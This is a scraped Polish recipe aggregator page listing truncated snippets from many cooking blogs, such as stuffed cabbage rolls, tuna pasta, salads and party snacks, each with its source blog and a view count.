e-PrzepisyKulinarne
szybkowar-pyszne gołąbki z suchym ryżem,łopatką wieprzową... 167

rozwalą się przy wyjmowaniu) wyjąc do miski, wyjąć sitko, i wywar wylać do garnka mniejszego, dodać mąkę, śmietanę, sok pomidorowy, [ostawić na ogniu i mieszać do zagotowania i zagęszczenia sosu, do smaku doprawić solą, pieprzem, wsypać posiekaną natkę pietruszki - gołąbki z mielonym mięsem łopatki wieprzowej wymieszane z suchym ryżem i gotowane w szybkowarze, nadzienie jest smaczne i ryż miękki.........SMACZNEGO

W Mojej Kuchni Lubię
Steki z polędwicy w sosie grzybowym - steki z polędwicy z jelenia 310

dłonią (nie używać tłuczka do mięsa). Smażyć na maśle z dodatkiem oleju z obu stron na rumiano (w środku mięso powinno mieć 50 stopni). Steki przełożyć na patelnię z sosem i zagotować. Podawać

królestwo garów
Przepis na pieczone burgery z indyka z warzywami 131

burger z indyka. W ten sposób ma on jeszcze mniej tłuszczu. Warzywa dodane do masy poprawiają smak i dodają witamin. Takiego burgera najlepiej zjeść w pełnoziarnistej bułce polanej domowym sosem jogurtowo-czosnkowym i wypełnionej rukolą i pomidorem. Stopień trudności:  łatwe w przygotowaniu Liczba porcji:  3 Typ potrawy:  kolacja Składniki: 300 g mielonego mięsa z piersi indyka

jakszef.pl
Zapiekanka makaronowa z kurczakiem i warzywami. 378

zrobiłam pyszną zapiekankę. Kiedyś, robiłam już podobną, ale z ziemniakami. Tym razem z makaronem i to był świetny pomysł. Spróbujcie koniecznie. Podaję składniki na dwie porcje. Zapiekankę, podałam z sosem czosnkowym. Składniki: 150 g. makaronu 1 duża pierś z kurczaka (pojedyncza) 4-5 łyżek kukurydzy 1/2 papryki czerwonej 1/4 papryki żółtej kilka różyczek brokuła 200 g. sera żółtego 1/3 szklanki

Agusiowe smakołyki
Muszle makaronowe faszerowane szpinakiem z fetą. PRZEPIS 151

delikatnie wymieszaj. Na dno naczynia żaroodpornego wyłóż pomidory (jeśli są w całości, rozdrobnij), dopraw solą i pieprzem, skrop odrobiną oliwy. Każdą muszę wypełnij farszem, układaj dość ciasno na sosie, piecz pod przykryciem w 180 stopniach około 30 minut. Rada: muszle możesz też przygotować w wersji wegańskiej, zastępując fetę tofu. Artykuł Muszle makaronowe faszerowane szpinakiem z fetą. PRZEPIS pochodzi z serwisu

Kulinarna Polska
Roladki paprykowe z kurczaka zawijane w boczku. PRZEPIS 148

boczku i zepnij wykałaczkami. Drugą cebulę pokrój w plastry, rozłóż je na dnie żaroodpornego naczynia, na nich połóż roladki. Piecz w temperaturze 200 stopni około 30 minut. Podawaj z sosem cebulowym, który wytworzy się w brytfance. Rada: roladki możesz też zrobić z mięsa z indyka lub ze schabu. Artykuł Roladki paprykowe z kurczaka zawijane w boczku. PRZEPIS pochodzi z serwisu

Kulinarna Polska
Fasolka z okrą i chorizo 169

Takie trochę danie indyjsko - hiszpańskie wyszło. Aromatyczne chorizo, klejąca okra i fasolka w sosie pomidorowym to połączenie idealne. Spróbujcie a nie pożałujecie. Lubię takie nieoczywiste połączenia, aby potem stworzyły idealne danie. Okra, fasolka, chorizo, danie idealne. CZYTAJ DALEJ

Moje Małe Czarowanie
Penne à la carbonara 131

podsmażamy z boczkiem na tłuszczu, który się z niego wytopił. Na patelnię wlewamy śmietankę i zagotowujemy, aż zgęstnieje. Dodajemy odsączony groszek, mieszamy. Na koniec dodajemy sól i pieprz. Sos mieszamy z ugotowanym makaronem i podajemy posypując startym parmezanem. Smacznego! Artykuł Penne à la carbonara pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Sernik na owsianym spodzie z karmelem z daktyli i popcornem FIT 141

pozostawiamy do namoczenia na 30 minut, odcedzamy. Z daktyli usuwamy pestki. Wszystkie składniki na karmel umieszczamy w misie blendera i miksujemy na gładko. Dodajemy więcej mleka, jeśli chcemy, aby sos był bardziej płynny. Gdy uzyskamy już preferowaną konsystencję i gładkość, przekładamy karmel na ostudzony sernik. Na wierzch sernika układamy uprażony popcorn i podajemy. Smacznego! Artykuł Sernik na owsianym spodzie

Be Fit Be Strong
Łosoś ze szpinakiem i gorgonzolą 160

Łosoś ze szpinakiem i gorgonzolą w sosie śmietanowym to pyszna propozycja na obiad. Świetnym dodatkiem do tego dania będzie makaron razowy w formie szerokich wstążek. Jeśli lubicie sery pleśniowe o łagodnym smaku, to koniecznie wypróbujcie nasz poniż The post Łosoś ze szpinakiem i gorgonzolą appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
BOGRACZ 161

papryka          kilka pieczarek (mój dodatek)          2  łyżki przecieru pomidorowego           1 puszka pomidorów w sosie własnym (zmiksowanych)           liść laurowy           ziele angielskie           sól, pieprz czarny           mielona

Walijskie Pichcenie
Gołąbki bez zawijania 857

miękkości kapusty, czyli około 40-50 minut.  (Czas gotowania zależy od rodzaju kapusty.)  Po tym czasie delikatnie wmieszać koncentrat i nadal gotować do momentu powstania gęstszego sosu pomidorowego. (Gołąbki można powyjmować z wywaru i wtedy połączyć go z koncentratem. Następnie z powrotem powkładać je do garnka.)  Gołąbki bez zawijania - dodatkowe informacje: (*) Zamiast dodawania koncentratu można przygotować zasmażkę

Di gotuje
Domowe bulionetki/kostki rosołowe 179

Domowe bulionetki to świetna, zdrowa i smaczna alternatywa dla kupnych kostek rosołowych. Bardzo proste do zrobienia, przechowywane w zamrażarce świetnie spełniają rolę bazy do wielu sosów i zup. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 200 gram obranej marchwi 200 gram obranej pietruszki 200 gram selera naciowego 200 gram obranego selera bulwiastego 100 gram pora 100 gram cebuli 8 ząbków czosnku pół pęczka

Blog kulinarny S9.PL
Najpopularniejsze przepisy 2019 roku (Le ricette più popolari del 2019) 168

borówkami (Torta con mirtilli e mandorle) Ciasteczka z białą czekoladą, migdałami i płatkami owsianymi (Biscotti con mandorle, fiocchi d'avena e cioccolato bianco) Sałatka ziemniaczana z boczkiem w sosie musztardowym (Insalata di patate con pancetta e salsa di senape) Pieczone frytki z cukinii (Bastoncini di zucchine al forno) Tarta na francuskim cieście z cukinią, papryką i fetą (Torta di sfoglia

La grande e la piccola cuoca
Soczysta kaczka pieczona 137

obkładamy kaczkę dookoła. W końcu kaczkę wkładamy do piekarnika rozgrzanego do 180st i pieczemy ok 2-2,5h (w zależności od wielkości kaczki), podlewając w trakcie pieczenia kaczkę wytopionym sosem. Artykuł Soczysta kaczka pieczona pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Top 10 najpopularniejszych przepisów 2019 roku 144

smaczne i pożywne danie, a przy tym niedrogie. Innym aspektem jest również zdrowe gotowanie. Jemy tyle ile musimy i gotujemy od podstaw. Zatem unikamy gotowej żywności przetworzonej jak kupne sosy, zupy, margaryny, odtłuszczone produkty czy inne przetwory. Stawiamy na produkty tak zwanej zdrowej żywności. W ten sposób mamy bezpośredni wpływ na nasze zdrowie. Jesteśmy tym co jemy. Odpowiednią dietą można

codojedzenia
Sałatka szwajcarska 187

buraków z serem pleśniowym Sałatka z kurczakiem, kukurydzą i winogronami Sałatka z fasolką szparagową Sałatka z zielonym kuskus i mozzarellą Sałatka z pieczonych buraków z fetą Młode ziemniaki w sosie jogurtowo-czosnkowym Sałatka szwajcarska Czas przygotowania: 20 minut Składniki: 200 g żółtego sera 200 g szynki konserwowej 4 konserwowe ogórki sól pieprz sok z 1/2 cytryny 2 łyżki majonezu

Kulinarne przygody Gatity
Spaghetti a’la bolognese (bezmięsne) 127

grzyby mielimy na dużych oczkach. Smażymy na rozgrzanym maśle, razem ze startą na dużych oczkach, marchewką. Dodajemy białe wino, odparowujemy. Następnie wlewamy passatę, wsypujemy lubczyk. Dusimy przez kwadrans. Do sosu dodajemy makaron, doprawiamy solą i pieprzem (wg uznania

R'n'G Kitchen
Sałatka z kurczakiem 4245

Sałatka z kurczakiem, która jest uwielbiana w naszym domu. Pyszne aromatyczne mięso, do tego wyrazisty ser feta i pyszny sos czosnkowy oraz kilka warzywnych składników, które razem tworzą wspaniałą kompozycję smakową. Prawdziwa rozkosz dla podniebien The post Sałatka z kurczakiem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Barszcz grzybowy na zakwasie. 146

sucho. Wsyp do wody z czosnkiem i zamieszaj mątewką (rogolka, fyrlok, kołotuszka, koziołek itd.). Co to jest mątewka? To specjalny ubijak, wykonany z drzewa brzozowego. Stosowana do ubijania sosów, ciasta naleśnikowego lub polewy na ciasto. Odstaw przykryte ,ale nie całkiem i nie szczelnie, w cieple miejsce. Może stać koło kuchenki gazowej, bądź na lodówce lub nawet na szafce kuchennej. Potrzymaj

Z Kuchni Do Kuchni
Gruszki w brandy / Pears in brandy 140

stronę. Gruszki podawaj na ciepło. Płyn, w którym piekły się gruszki możesz zlać do rondelka i po zagotowaniu wlać mieszankę 2 łyżek wody i 1 łyżeczki skrobi ziemniaczanej. Gorącym sosem polewaj gruszki. Ingredients: 5-6 large harder pears 1/2 cup honey 1/2 cup brandy 1 cup water 3 anise stars 5 cardamom seeds 1 teaspoon cloves 1 teaspoon turmeric Peel

Delicious Place
Leniwe pierogi, czyli kluski dla leniwych z białym serem 187

puszyste, delikatne, lekko kwaskowate i po prostu pyszne. Najlepiej smakują polane stopionym masłem z cukrem i cynamonem lub z bułką tartą podsmażoną na masełku. Można je także podawać z sosem z powideł :) Składniki na leniwe pierogi 30 dag twarogu, czyli tłustego białego sera 1 szklanka mąki pszennej 1 łyżka mąki ziemniaczanej Ser biały mielimy w maszynce do mięsa

Gotujemy i jemy
Leniwe pierogi, czyli kluski dla leniwych z białym serem 182

puszyste, delikatne, lekko kwaskowate i po prostu pyszne. Najlepiej smakują polane stopionym masłem z cukrem i cynamonem lub z bułką tartą podsmażoną na masełku. Można je także podawać z sosem z powideł :) Składniki na leniwe pierogi 30 dag twarogu, czyli tłustego białego sera 1 szklanka mąki pszennej 1 łyżka mąki ziemniaczanej Ser biały mielimy w maszynce do mięsa

Korniszonki
,,Nuggetsy z sezamem’’ 149

krokami zbliża się koniec roku, a wraz z nim impreza sylwestrowa. Zaproś więc swoich gości na szampańską zabawę i zaskocz przyrządzając dla nich przepyszne nuggetsy w chrupiącej panierce z sosem czosnkowym. Przekąskę przygotowałam dzięki uprzejmości firmy Helio . Składniki: 1 podwójna pierś kurczaka 4 szklanki płatków kukurydzianych 2 łyżki sezamu białego Helio 1 szklanka mleka ½ mąki pszennej 2 łyżki oleju

Podróż w kulinaria
Przekąski i przystawki na różne okazje 310

majonezem Jajka caprese Pieczarki faszerowane w sezamowej panierce Parówki w cieście francuskim Pizza caprese Roladki z ogórka z twarogiem i rzodkiewką Gruszka z szynką na liściach sałaty z sosem balsamicznym Roladki schabowe panierowane Roladki z tortilli z szynką i warzywami naleśnikowe roladki i klops drobiowy faszerowany papryką , Naleśniki koperkowe z jajkiem i warzywami Sylwestrowe kanapeczki. Mini kanapeczki Tartinki z łososiem

Damsko-męskie spojrzenie na kuchnię
Pikantne saszetki z ciasta francuskiego 148

ciasta francuskiego idealnie sprawdzą się jako prosta i szybka w przygotowaniu imprezowa przystawka lub kolacja, którą można przygotować w różnych wariantach smakowych. Saszetki najlepiej komponują się z domowej roboty sosem czosnkowym :). (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 rolka ciasta francuskiego, 2 ulubione parówki, ( u mnie berlinki chili) pół mniejszej cebulki garść kukurydzy z puszki pół mniejszej czerwonej papryki łyżka majonezu

Blog kulinarny S9.PL
Dodatki do żywności czyli z czym to się je 125

kuchni? Inulina z cykorii znajduje w kuchni szereg zastosowań. Wykorzystuje się ją między innymi jako dodatek do budyniów, kisieli oraz galaretek. Może posłużyć jako zagęszczacz do zup i sosów, a po dodaniu do ciasta sprawi, że wypiek będzie przyjemnie chrupiący. Maltodekstryna  Maltodekstryna to wielocukier powszechnie wykorzystywany w przemyśle spożywczym. Ma postać białego proszku, a pod względem biochemicznym zbudowany jest

Kulinaria - potrawy z różnych stron świata
Chipiona, malownicze miasteczko w Andaluzji 167

tych, ale nikt się tym nie przejmuje, bo dla Hiszpanów najważniejsze jest dobre towarzystwo i oczywiście pyszne jedzenie. Królują tu tapas, zamawiamy więc patatas alioli (ziemniaki w sosie czosnkowym), boquerones en vinagre ( marynowane w occie małe sardele) oraz tortillę de camarones (omlet z malutkimi krewetkami). Do tego clara, czyli piwo z cytrynową fantą oraz jerez, czyli kieliszek sławnego andaluzyjskiego wina

Kulinarne przygody Gatity
Śledzie pod pierzynką – przepis 384

majonezu, i przykrywamy startym jajkiem. Ostatnią warstwę sałatki stanowi ser żółty. Gotową sałatkę możemy udekorować natką pietruszki. Śledzie pod pierzynką Zapraszam również do skorzystania z innych przepisów: Śledzie w sosie koperkowym Zapiekanka z ryżem, brokułem i kurczakiem Dorsz pieczony z koperkiem Sałatka warstwowa gyros – Ksiega-smaku.pl Artykuł Śledzie pod pierzynką – przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Mięsna sałatka z Tajlandii Larb Moo 222

Larb to pyszna i tradycyjna sałatka składająca się z mięsa mielonego, soku z limonki, sosu rybnego, szalotki, ziół, chili i prażonego ryżu. Larb faktycznie pochodzi z Laosu, gdzie jest uważany za danie narodowe. Jest też bardzo popularny w Isan, regionie składającym się z 20 prowincji w północno-wschodniej Tajlandii, a także Północnej Tajlandii. Znaczenie słowa Larb, przez niektórych uważane jest

RafalCook
Mini pizze na cieście francuskim 127

kukurydza z puszki, kapary Przygotowanie : Z ciasta francuskiego wykrawaj koła lub kwadraty około 10 cm. Przygotowane porcje ciasta posmaruj passatą z przyprawami, tak aby brzegi zostały wolne. Po posmarowaniu sosem zagnij brzegi do środka na dosłownie 5-8 mm, aby stworzyły szerokie obrzeże. Środek posyp serem mozzarella. Wstaw do piekarnika nagrzanego do 180 st C i piecz przez około

nietylkopasta.pl
Kurczak faszerowany kaszą, pistacjami i żurawiną 168

dół. Piecz 15 minut, albo do momentu aż grzbiet ładnie się przyrumieni. Obróć kurczaka i piecz jeszcze przez pół godziny. W trakcie pieczenia z kurczaka zacznie wytapiać się sos. Polewaj nim tuszkę od czasu do czasu. Wyjmij upieczonego kurczaka, przykryj folią aluminiową i odstaw na 10 minut. Po tym czasie podziel na części i podawaj. Smacznego! Artykuł Kurczak faszerowany kaszą

Niedzielny kucharz
Świąteczny obiad: Kurczak w cytrusach z ziemniakami Hasselback 162

minutach pieczenia z kurczaka zaczną wytapiać się soki: aromatyzowane cytrusami i ziołami masło oraz tłuszcz. Od tego momentu co kwadrans wyciągaj kurę z piekarnika i dokładnie polewaj pachnącym sosem. Krok 5 Po 30 minutach pieczenia kurczaka dołóż do pieca ziemniaki Hasselback. Na upieczenie będą potrzebowały około godziny (czas zależy od wielkości bulw). Po 20-30 minutach od rozpoczęcia pieczenia wyciągnij

Niedzielny kucharz
Sałatka z mango i kurczakiem 160

trzeba tego się bać – te dwa smaki to podstawa kuchni i idealnie ze sobą radzą. Chrupiąca sałata Romain, soczysty doprawiony kurczak, miękkie i słodkie mango, chrupiące orzeszki i pikantność sosu musztardowego. Sałatka HIT! Sprawi furorę na każdej imprezie, bo z pewnością mamy dość tych nudnych sałatek z toną majonezu (chociaż i są smaczne). Naprawdę lekka, orzeźwiająca i bardzo prosta

Kuchnia Łukasza
Top 12 przekąsek na Sylwestra 190

Pieczone nuggetsy , czyli kawałki piersi kurczaka obtoczone w panierce z płatków kukurydzianych. Całość upieczona w piekarniku. Nuggetsy są proste do przygotowania i bardzo smaczne. Najlepiej smakują podane z sosem, np. pomidorowym, czosnkowym. 2. Rolada serowa nadziana piersią z kurczaka, pieczarkami i szpinakiem. 3. Paszteciki z ciasta francuskiego nadziane mielonym mięsem są łatwe i szybkie do przygotowania. 4. Tatar z surowego

Ugotować
camembert panierowany 133

jajku i bułce tartej. Czynność panierowania w jajku i bułce powtarzamy. Smażymy z każdej strony na rumiano w dużej ilości oleju. Usmażone układamy na ręcznikach papierowych. Podajemy z sosem żurawinowym na ciepło lub zimno

Domowy Smak Jedzenia
ODRYWANA PIZZA BALLS 153

stopni na około 15-20 min. Aby wierzch za bardzo się nie spiekł może po około 10 min. przykryć tortownicę folią aluminiową. Podajemy z ketchupem lub ulubionymi sosami

Kuchnia MagdaLeny
ODRYWANA PIZZA BALLS 153

stopni na około 15-20 min. Aby wierzch za bardzo się nie spiekł może po około 10 min. przykryć tortownicę folią aluminiową. Podajemy z ketchupem lub ulubionymi sosami

Kuchnia MagdaLeny
Chaczapuri 135

trzeba postąpić z tymi na patelni. Przekąska na każdą okazję. Na spotkania, imprezy. Można zabrać na obiad do pracy. Nadziewać można czym tylko się lubi. Fajnie do tego pasuje sos czosnkowy. Dziś nadziałam kurczakiem. Następnym razem zrobię z mięsem mielonym. Ciasto: * 50 dkg mąki pszennej * 3 dkg drożdży albo opakowanie suszonych * 150 ml wody * 150 ml mleka – ja dodałam

Pieprzyć z Fantazją
Tosty francuskie 111

Cześć! Miło czasami zacząć dzień od czegoś słodkiego. Te tosty można traktować jako śniadanie albo przekąskę. Kiedyś zdarzyło mi się degustować takie sercem i przepisem robione po francusku polane sosem klonowym. Wystarczy tylko mieć w domu jajka, mleko, chałkę, syrop klonowy albo miód. można je również serwować z dżemem. Jeśli zostaje Wam chałka sprzed kilku dni, to jest jest fajny

Pieprzyć z Fantazją
Skrzydełka maggi smażone 180

moich spostrzeżeń….Radziłabym unikać mocno przekrwionych skrzydełek. Może mięso z nich nadaje się do pasztetu, ale do tego rodzaju dania nie. Świetnie do skrzydełek w tym wykonaniu pasuje sos czosnkowy. Bajka! W ogóle, taka przekąska to bajka Polecam każdemu je zrobić I nie pozostaje mi nic innego jak życzyć smacznego Lidka skrzydełka magi Artykuł Skrzydełka maggi smażone pochodzi

Pieprzyć z Fantazją
Czebureki domowe 118

rozkłóconym białkiem. Wykładałam na rozgrzany olej. Oleju powinno być przynajmniej 1 cm wysokości patelni. Smażyłam na złoty kolor. Wykładałam na ręcznik papierowy, by spłynął nadmiar oleju. Można podawać z sosem czosnkowym przepis . Idealnie pasuje. Jest to danie bardzo proste i bardzo smaczne. Polecam ciekawym nowych pomysłów na mięso mielone. Polecam także na wieczorne spotkania ze znajomymi. Życzę smacznego Lidka Artykuł

Pieprzyć z Fantazją
Makaron z tuńczykiem w pomidorach 122

cebulkę i poddusiłam, następnie tuńczyka z puszki. Przecisnęłam przez praskę czosnek i wszystko kilka minut razem bulgotało. Wspomnę, że w tym czasie gotował się już makaron. Na koniec do sosu dodałam puszkę pomidorów. Gdy zaczęło się już gotować dosypałam zioła prowansalskie. Soliłam na końcu, gdyż tuńczyk z puszki już ma trochę soli. Popieprzyłam i na chwilkę odstawiłam. Odcedziłam makaron

Pieprzyć z Fantazją
Babka ziemniaczana 130

masa nie przywarła. Piekłam moją babkę ziemniaczaną ok. 2 godzin w piekarniku nagrzanym do 180 stopni do uzyskania brązowo – złotego kolory skórki. Danie super na ciepło. Można polać sosem grzybowym, można podać ze śmietaną, można jeść solo. Z moich obserwacji: * Konsystencja babki zależy od ziemniaków jakich używamy do tego wypieku. Im bardziej są suche tym bardziej jest zbite ciasto

Pieprzyć z Fantazją
Sałatka z tuńczykiem i makaronem ryżowym 125

Różne produkty się znajdowały. Tuńczyk jakoś zahaczał mi o rękę…Stwierdziłam, że to znak jakiś i coś z niego zrobić trzeba, no sałatkę Składniki:  * puszka tuńczyka w sosie własnym lub oleju roślinnym * 8 dkg makaronu ryżowego * ogórek kiszony ok 2 sztuk * kukurydza * majonez * czerwona cebula * papryka * koperek * żółty ser * sól, pieprz Tuńczyka odcedziłam z zalewy. Makaron ugotowałam zgodnie

Pieprzyć z Fantazją
Domowy swojski przecier pomidorowy 111

roku biorę większy rozmach. Zobaczymy ile dam radę przerobić. Jak dla mnie i rodziny jest to super sprawa. O pomidorówce już pisałam, można tego przecieru użyć do sosu spaghetti, pulpecików, fasolki po bretońsku. A ten smak i aromat! Niebo! Polecam poświęcić chwilkę dla takiego zajęcia. Potem to tylko będziemy słyszeć ochy i achy jak będą pałaszować nasze potrawy

Pieprzyć z Fantazją
Sałatka z soczewicą i pieczarkami 105

niechcący zrobiłam taki smakołyk. Pomyślałam, że napiszę od razu o tej sałatce dopóki pamiętam składniki. Smak bardzo podkreśla zielona czubrica. Warto ją mieć w domu. Ja jej używam do sosu czosnkowego  tutaj a że często go robię, to zawsze mam ją na stanie. Na zbliżające się święta Wielkanocne jeden pomysł już mam. Smacznego! Lidka Artykuł Sałatka z soczewicą

Pieprzyć z Fantazją
Jajka faszerowane tuńczykiem 114

łososiem pojawiły się jaja faszerowane tuńczykiem z puszki. Proste w wykonaniu. Znikły z talerza szybciej niż je na niego wyłożyłam. Składniki: * 6 jajek ugotowanych na twardo * puszka tuńczyka w sosie własnym * niewielka czerwona cebulka * 2 łyżki majonezu * sól, pieprz Podobnie jak w przypadku jaj faszerowanych łososiem, przekroiłam na pół, wyciągnęłam żółtka i utarłam je na jednolitą masę. Dodałam odsączonego tuńczyka

Pieprzyć z Fantazją
Sałatka z tuńczykiem i makaronem ryżowym 137

Różne produkty się znajdowały. Tuńczyk jakoś zahaczał mi o rękę…Stwierdziłam, że to znak jakiś i coś z niego zrobić trzeba. Zrobiłam sałatkę Składniki:  * puszka tuńczyka w sosie własnym lub oleju roślinnym * 8 dkg makaronu ryżowego * ogórek kiszony ok 2 sztuk * kukurydza * majonez * czerwona cebula * papryka * koperek * żółty ser * sól, pieprz Tuńczyka odcedziłam z zalewy. Makaron ugotowałam zgodnie

Pieprzyć z Fantazją
Makaron z tuńczykiem w śmietanie 110

właśnie to danie. Coś dla smakoszy owoców morza i wszelakich ryb w każdym wydaniu Makaron z tuńczykiem w śmietanie – palce lizać! Składniki: * 1 puszka tuńczyka w kawałkach w sosie własnym      * 30 dkg makaronu * 150 ml śmietany 30% * 1 mała cebula * 3 ząbki czosnku * sól, pieprz- najlepiej świeżo zmielony * odrobina oleju * natka z pietruszki, bazylia Makaron ugotowałam

Pieprzyć z Fantazją
Skrzydełka magi – smażone 116

moich spostrzeżeń….Radziłabym unikać mocno przekrwionych skrzydełek. Może mięso z nich nadaje się do pasztetu, ale do tego rodzaju dania nie. Świetnie do skrzydełek w tym wykonaniu pasuje sos czosnkowy. Bajka! W ogóle, taka przekąska to bajka! Polecam każdemu je zrobić. I nie pozostaje mi nic innego jak życzyć smacznego Lidka skrzydełka magi Artykuł Skrzydełka magi – smażone pochodzi

Pieprzyć z Fantazją
Roladki imprezowe z łososiem i szpinakiem 97

samym środku ułożyłam pasek z wędzonego łososia.  Całość zrolowałam, zawinęłam w folię aluminiową i wstawiłam na kilka godzin do lodówki. Podczas duszenia się szpinaku wytworzyła się odrobina sosu, zanim wyłożyłam go na placek, nabierałam farsz łyżką i odciskałam namiar płynu.  Łososia można dodać oczywiście więcej jeśli ktoś lubi.  Po inną wersję roladek zapraszam  tutaj . Smacznego! Lidka

Pieprzyć z Fantazją
Kurczak ze szparagami duszony w śmietanie 106

strony na patelni z rozpuszczonym masłem. Posoliłam na koniec solą ziołową. Kiedy mięso było obsmażone, zalałam śmietanką, doprowadziłam do delikatnego wrzenia i dołożyłam kawałki szparagów. Ok 5 minut redukowałam sos na małym ogniu. Przed podaniem oprószyłam pieprzem i posypałam natką z pietruszki. Podałam z ugotowanym makaronem świderki. To jest naprawdę pyszne! Notatki: * użyłam tu soli ziołowej, bo bardzo mi smakuje

Pieprzyć z Fantazją
Gulasz z kurczaka pora i pieczarek 118

Dołożyłam do mięsa. To samo zrobiłam z porem, umyłam i pokroiłam w plastry ok. 2 mm grubości. Wszystko chwilę podsmażyłam aż pieczarki zaczęły puszczać sok. Zalałam śmietanką i redukowałam sos ok 3-4 minut. Zdjęłam z ognia i przyprawiłam do smaku solą i świeżo zmielonym pieprzem. Notatki: * można użyć mięsa z innej części kurczaka * użyłam tu soli ziołowej, można

Pieprzyć z Fantazją
Kluski łyżką kładzione 112

minut od wypłynięcia na powierzchnię.  Wyciągam łyżką cedzakową i jeszcze gorące serwuję na stół.  Nasza ulubiona wersja to z serem i topioną słoninką Pyszota! Notatki: * pasują do sosu grzybowego czy pieczeniowego * kluski puchną kiedy już są ugotowane * z tych składników wychodzi porcja dla 4 osób Smacznego! Lidka Artykuł Kluski łyżką kładzione pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Jajka faszerowane łososiem, pieczarkami i tuńczykiem 122

już słony. Nakładałam farsz do wydrążonych połówek jajek i dekorowałam kiełkami, rzodkiewką i plastrami łososia. Z tuńczykiem Składniki: * 2 jajka ugotowane na twardo * 2 – 3 łyżki tuńczyka w sosie własnym * 1/2 małej czerwonej cebulki * 1 łyżka majonezu * sól, pieprz * do dekoracji szczypiorek i kiełki Cebulkę drobno pokroiłam. W miseczce wymieszałam cebulkę, tuńczyka, rozdrobnione dwa żółtka, majonez. Przyprawiłam solą

Pieprzyć z Fantazją
Pizza z mięsem mielonym 114

słodkiej. Farsz wyłożyłam na ciasto i zapiekałam w piekarniku w 200 stopniach na przedostatnich szczebelkach przez ok 20 minut. Po tym czasie wyciągnęłam już upieczoną pizzę i podawałam z sosem czosnkowym  przepis . Notatki: * miałam mięso mielone wieprzowe, polecam również wołowe mięso mielone * zamiast pomidorów z puszki można samemu pokroić 2 średniej wielkości pomidory * można zwiększać lub zmniejszać składniki dodatków

Pieprzyć z Fantazją
Pulpety w delikatnym sosie pomidorowym 131

jeśli nie macie na stanie takich przypraw jak w przepisie, proponuję użyć zwykłej soli i pieprzu * do przyprawienia dania użyłam przypraw firmy Tensmak Smacznego! Lidka Artykuł Pulpety w delikatnym sosie pomidorowym pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Gulasz wołowy z dynią i chilli 111

roku pięknie obrodziła na moim ogrodzie, w tej sytuacji kombinuję w kuchni z dynią jako dodatkiem albo składnikiem głównym w daniach. Dodaję ją do ciast, placuszków, czy do sosów. Tym razem zrobiłam gulasz wołowy z jej dodatkiem i okazało się to być strzałem w dziesiątkę. Danie posmakowało każdemu. Składniki: * 50 dkg mięsa wołowego * 25 dkg dyni  * 1 papryczka chilli

Pieprzyć z Fantazją
Placuszki z dyni i szpinaku 122

płatkach.  Wykładałam masę po 2-3 łyżki (1placuszek) i smażyłam placuszki na rozgrzanym oleju na średnim ogniu  na złoto brązowy kolor.  Notatki: * można je jeść z sosem jogurtowym bądź czosnkowym Smacznego! Lidka Artykuł Placuszki z dyni i szpinaku pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Makaron z tuńczykiem w śmietanie 131

właśnie przygotowanego tuńczyka dodałam ugotowany makaron i przemieszałam. Przed podaniem danie posypałam natką z pietruszki. Notatki: * miałam puszkę tuńczyka 185 g z zalewą. * najsmaczniejszy będzie tuńczyk w oleju bądź sosie własnym Smacznego! Lidka Artykuł Makaron z tuńczykiem w śmietanie pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Drobiowe kotleciki Szu Szu 149

wypróbowałam przepis.  Takie kotleciki zrobię jeszcze nie raz na obiad, bo okazały się bardzo pyszne! Domownicy stwierdzili, że jest to świetna imprezowa przekąska z dodatkiem oczywiście   sosu czosnkowego . Składniki:  * 60 dkg piersi z kurczaka * 3 żółtka * 3 łyżki mąki ziemniaczanej * 2 łyżki śmietany * 3 ząbki czosnku * 1 łyżeczka soli * 1/2 łyżeczki papryki słodkiej * 1/3 łyżeczki papryki

Pieprzyć z Fantazją
Kotleciki z kurczaka po japońsku 103

trzeba się napracować by przygotować taki obiad. Mięso jest smaczne, aromatyczne i soczyste. Składniki: * 40 – 50 dkg mięsa z kurczaka * mąka ziemniaczana * olej do smażenia Marynata: * 4 łyżki sosu sojowego * 1/5 szklanki białego wytrawnego wina * 1/2 łyżeczki imbiru Dodatki: * papryka * cebula * brokuł * sól Mięso pokroiłam w kawałki ok. 4 cm. Miałam mięso piersi kurczaka. Składniki na marynatę wymieszałam. Przełożyłam

Pieprzyć z Fantazją
Zdrowe przekąski, które nie wyrzucą cię z ketozy 167

innych przekąsek. Guacamole jest łatwy do przygotowania. Gorzka czekolada Ciemne czekoladki pomagają zmniejszyć ryzyko chorób związanych z sercem, a także poprawiają przepływ krwi w ciele. Możesz zrobić sos czekoladowy na deser lub zjeść go na sucho. Wybierając ciemną czekoladę, kup taką, która nie jest słodka z wysoką zawartością kakao w stanie stałym. Orzech kokosowy Mięso kokosowe

jakszef.pl
11 najlepszych wysokobiałkowych posiłków do dodania do diety 131

tych, którzy nie wolą mięsa włączać do swojej diety. 4. Tofu Niesamowita umiejętność wchłaniania każdego dodanego smaku, to jedyne Tofu. Pełny pakiet białka! Możesz go użyć w dowolnym sosie, który wybierzesz, który doda dodatkowe składniki odżywcze wraz z Tofu. Ma niską zawartość tłuszczu, więc można go spożywać bez żalu i poczucia winy. Jest to kompletne białko, jest

jakszef.pl
Bigos ze słodkiej kapusty z suszonymi grzybami 146

gotującego się bigosu. Kiedy kapusta będzie już miękka - wmieszać koncentrat pomidorowy oraz majeranek.   Bigos doprawić pozostałymi przyprawami i podgotować kilka minut lub odrobinę dłużej, aby powstał gęściejszy sos pomidorowy.     Bigos ze słodkiej kapusty z suszonymi grzybami - dodatkowe informacje: (*) Wywar mięsny można pominąć i od razu zacząć od gotowania kapusty. Z tymże w tym przypadku najpierw należy podgotować

Di gotuje
Sałatka owocowa 147

Pyszna, kolorowa i zdrowa sałatka owocowa . W tym przepisie poznasz kilka sposobów na zrobienie sałatki owocowej w zależności od sezonu, od rodzaju użytego sosu, czy też upodobań smakowych. Zapraszam do zabawy! - kilka pomysłów na sałatkę - sałatka owocowa na przyjęcia

AniaGotuje.pl
Fit sałatka z wędzonym łososiem na kolację wigilijną 192

